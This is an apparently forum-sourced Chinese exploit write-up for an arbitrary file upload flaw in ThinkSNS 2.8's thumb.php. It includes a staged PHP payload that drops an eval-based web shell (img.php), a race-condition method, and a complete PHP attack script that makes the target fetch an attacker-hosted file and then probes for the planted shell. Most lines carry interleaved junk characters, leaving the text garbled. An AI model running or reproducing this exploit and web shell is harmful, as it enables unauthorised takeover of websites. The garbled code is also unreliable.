漏洞版本$ S. W# C, c7 b: t4 H
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
; u* l f1 ~: t4 ?7 | F" @# Y漏洞文件
T* R8 @; O* U3 B存在漏洞的文件为:thumb.php
: d2 c3 z- z+ R作者:韦鲲鹏
C% x. J3 o! t( q# j& o' r1、 准备如下PHP文件并上传到服务器(自己的)。" Y: q) ?+ F- T4 n' ^* M: T6 p
文件内容如下:
. H7 ]9 J% h- M: d<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>3 F, y. |2 v6 G; L0 L- `
2、 计算出临时的文件名:. ^0 T4 S( L4 o' _
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
! a. p) k4 c* D. G
5 r# w9 z8 s$ M6 M& `3、 上传临时文件。
+ e& t0 n Q& C5 a0 O7 B4、 访问临时文件。3 i1 B5 l8 ^" O! f( w7 r, i
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
4 @; y8 v" h& h; R B9 A% yExploit文件内容如下:(这个我就不详细解释了)
! S# [* ?. ~1 [# v/ h7 s: F! O7 q P6 b<?php
4 S' s4 S1 W- t! \error_reporting(0);
2 j/ B4 y* m" k; L0 }6 hset_time_limit(0);
2 F8 Q* k! x; c8 }ini_set(“default_socket_timeout”, 5);$ W0 F; l& e1 \( K* U: k
function http_send($host, $port, $headers) {
, u/ x6 A3 p$ `, N# J& n9 {$ V$fp = fsockopen($host, $port);% v9 c) P" e( L- X) P
if (!$fp) die(‘Connection -> fail’);% T' j4 J. _: j. h$ l) l
fputs($fp, $headers);, v- T9 t% k8 {: o
return $fp;
2 U, S% S" Y; U' c- R/ G}
8 |( z8 o; @/ I3 X3 T5 A* pfunction http_recv($fp) {
7 P' H) h3 N( o0 m! f$ret=”";
. V1 @% p8 G6 d1 I( `- F# a& Kwhile (!feof($fp)); R+ g7 D0 M, x0 E# p
$ret.= fgets($fp, 1024);8 c) G2 x7 ]' Z" w5 w6 ]3 x
fclose($fp);
# F3 `' P6 G: H6 ?" q, d9 Oreturn $ret;! i& z! q0 g V0 _
}
7 d2 _8 }& g+ {# m$ Wprint “\n# ThinkSns Arbitrary File Upload #\n”;- w( O0 `0 ^( b7 Z8 W
print “# Discovered by 韦鲲鹏 #\n\n”;
s) a) F5 ?3 T, U- zif ($argc < 4) {. {# A$ X3 i+ R6 V. N
print “Usage: php <host> <path> <romote_url>\n”;
1 K8 i) s" q0 ^5 A7 C' oprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;" `) U, C2 Z) w) h/ X" j
die();
0 m8 |" T% u( A+ @}
' r! n( z0 w5 \2 n2 n6 W9 e) L& p6 P( x$host = $argv[1];8 g5 ~7 Y/ c1 |, u: z1 V5 h8 N
$path = $argv[2];# {% O% D/ F/ r7 z }
$url = $argv[3];
+ X# f1 ]+ ?6 l! Z4 L; ]$i=0;
( t+ ]( P5 }& y2 {" F$ {& l. \ o//上传数据包, M/ T( U% I/ H3 W* K
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
% d% Y* f! {. N* f4 p: x& h0 }% \$headers_up .= “Host: “.$host.”\r\n”;# {* g1 S3 C" j. b
$headers_up .= “Connection: close\r\n\r\n”;3 e v2 C% v: T U
echo $headers_up;
4 i2 e: V. B3 [$ U1 ]2 f& H//临时文件访问数据包9 P6 j i1 ^2 N" R" W
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;. a1 e9 G! p" F+ L6 V6 ~
$headers .= “Host: “.$host.”\r\n”;
! L- X: N, G+ e- R$ V$headers .= “Connection: close\r\n\r\n”;1 z2 J, M4 a0 t: |
echo $headers;5 H" {4 e* z( }3 u
while(++$i<10) {1 z l; x) d: Z
fclose(http_send($host, 80, $headers));
3 g- W, c1 C2 Q6 |) v}! m+ P7 l \0 r: y
fclose(http_send($host, 80, $headers_up));
# Y A) O0 Z1 {6 r/ L" [0 r5 Nwhile(++$i<50) {4 Q+ \$ x% K: i0 F, ]7 x n5 v8 X
fclose(http_send($host, 80, $headers));& I, a3 t4 }; }% \! ~
}
2 U3 T$ O' U& |8 q2 \# z' u. x7 B$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
( y9 V: O# U: D$ Z% C$headers .= “Host: “.$host.”\r\n”;( }6 s' N Y/ S# | v H
$headers .= “Connection: close\r\n\r\n”;9 @- S. s- M/ ]9 x$ I$ M
$res=http_recv(http_send($host, 80, $headers));' A' @$ Y+ i0 |6 X: u7 W* Z3 [$ L% c I
if(preg_match(‘/200 OK/’,$res)) {
' k7 O n- y" Y+ x% M1 kprint “Success!\n\n”;+ D* m3 u0 d* w" O! t6 ~. u" \ C& @& ]. ?# F
} else {
/ s0 M( _ u4 z7 E2 H, Qprint “Fail!\n\n”;- y4 W( C, k+ g9 q8 G3 I3 U. x0 {
}
: T0 x8 }8 }& S7 h1 e9 z?>" g7 F1 Z+ |9 G9 j
|